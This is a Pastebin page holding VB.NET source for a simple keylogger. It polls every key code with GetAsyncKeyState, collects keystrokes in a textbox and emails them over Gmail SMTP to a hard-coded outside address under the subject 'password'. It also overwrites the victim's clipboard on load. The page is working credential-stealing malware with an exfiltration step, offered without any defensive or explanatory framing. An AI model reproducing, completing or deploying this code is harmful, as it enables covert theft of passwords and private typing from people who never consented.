Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Web
- Imports System.IO
- Imports System.Net.Mail
- *******************************************
- Public Class Form1
- Dim result As Integer
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
- Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Long) As Integer
- *******************************************
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- For i = 1 To 255
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- TextBox1.Text = TextBox1.Text + Chr(i)
- End If
- Next i
- End Sub
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- My.Computer.Clipboard.SetText("Haha")
- End Sub
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim mail As New MailMessage()
- Dim SmtpServer As New SmtpClient
- SmtpServer.Credentials = New Net.NetworkCredential("uremail@gmail.com", "password")
- SmtpServer.Port = 587
- SmtpServer.Host = "smtp.gmail.com"
- SmtpServer.EnableSsl = True
- SmtpServer.EnableSsl = True
- mail.To.Add("smek2008@live.com")
- mail.From = New MailAddress("smek2008@gmail.com")
- mail.Subject = "password"
- mail.Body = TextBox1.Text
- SmtpServer.Send(mail)
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement